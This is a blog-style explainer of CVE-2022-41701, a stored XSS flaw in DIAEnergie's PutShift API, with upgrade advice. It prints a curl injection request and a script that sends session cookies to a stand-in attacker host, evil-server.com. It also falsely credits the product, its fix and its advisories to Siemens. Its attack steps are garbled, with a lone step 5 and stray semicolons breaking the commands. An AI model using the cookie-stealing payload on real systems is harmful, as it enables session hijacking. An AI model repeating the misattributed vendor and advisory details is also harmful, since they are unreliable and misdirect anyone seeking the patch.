Industrial systems face a growing number of threats as more and more devices go online. One such overlooked vulnerability is CVE-2022-41701, which affects DIAEnergie — a popular energy management system used worldwide. In this article, we'll break down exactly what this vulnerability is, how it can be exploited, and share real code snippets to help you see what’s going on under the hood. We’ll keep it straightforward, so even if you aren’t a cybersecurity pro, you’ll walk away understanding the risks and implications.

What is DIAEnergie?

DIAEnergie is an industrial energy management system used in factories, buildings, and campuses. It helps managers monitor energy usage, set energy-saving targets, and generate reports. Like most modern applications, it has a web interface — and, unfortunately, where there's a web interface, there can be web vulnerabilities.

Vulnerable Endpoint: PutShift API

- CVE ID: CVE-2022-41701
- Official Advisory: Siemens CERT Advisory (ICSA-23-017-14)

What is Stored XSS? (In Plain English)

Stored XSS (Cross-Site Scripting) is when malicious scripts are permanently stored on a server (such as in a database) and then served to users every time they access affected pages. In the case of DIAEnergie, attackers can inject scripts into the platform using the PutShift API. When legitimate users access the infected data, their browsers run the attacker’s code—typically without warning.

Explaining the Vulnerability: How Does It Work?

The PutShift API in DIAEnergie allows users to submit data—like shift names or descriptions—for use later. However, in versions prior to 1.9.01.002, this API didn’t properly clean (sanitize) input fields. That means a bad actor could put code, not just text, into fields. When someone else views this data (like in a report or dashboard), the script executes in their browser, leading to stolen sessions, credentials, or hijacked user actions.

Code Snippet: Simple Exploit Demo

Let’s say you have access to the PutShift API. Here’s what a malicious request via curl might look like (filling shiftName parameter with script code):

curl -X POST "http://<DIAEnergie-Server>/PutShift"; \
     -H "Content-Type: application/json" \
     -d '{
            "shiftName": "<script>alert(\"XSS Attack!\")</script>",
            "startTime": "08:00",
            "endTime": "16:00"
         }'

Now, every time a user views the shift schedule on the web portal, the JavaScript alert will pop up. A real attacker would likely inject more harmful code, such as:

<script>
fetch('http://evil-server.com/steal?cookie='; + document.cookie);
</script>

This would silently steal the user’s session cookie.

Admin or another user views the infected shift on the management portal.

5. All users who view this page execute the injected script — which may steal credentials, change settings, or take control of the session.

How Do You Fix or Prevent It?

Upgrade:  
DIAEnergie users should upgrade to at least v1.9.01.002. Siemens fixed this issue in that release. Download the latest updates from your vendor portal or Siemens Support.  
Patch Release:  
SSA-187242: DIAEnergie Multiple Vulnerabilities

Always sanitize and encode user inputs.

- Don’t render user-provided data as HTML unless you must — and if so, use proper template escaping.

Why This Matters

Energy management platforms are trusted systems, and a breach here is more than losing a password—it could mean falsified reports, unauthorized device controls, or even data leaks about sensitive industrial operations. Stored XSS tends to spread from one user to many, making it especially dangerous for shared web management applications like DIAEnergie.

References & Original Sources

- NIST National Vulnerability Database: CVE-2022-41701
- Siemens CERT Advisory: SSA-187242
- US CISA Disclosure: ICSA-23-017-14

Final Words

If you’re running DIAEnergie or any similar industrial management interface, take a moment to check your version and apply security patches. Even a simple oversight in input validation can lead to major headaches. The takeaway: never trust user input — and don’t put off updates!

Stay safe out there on the industrial network frontier! If you want more technical breakdowns or have questions about securing your own web apps, feel free to drop a comment or reach out.


*This write-up is original and provided for educational purposes only. Please notify your IT admin if you’re using vulnerable DIAEnergie versions in your facility.*

Timeline

Published on: 10/27/2022 21:15:00 UTC
Last modified on: 10/28/2022 18:33:00 UTC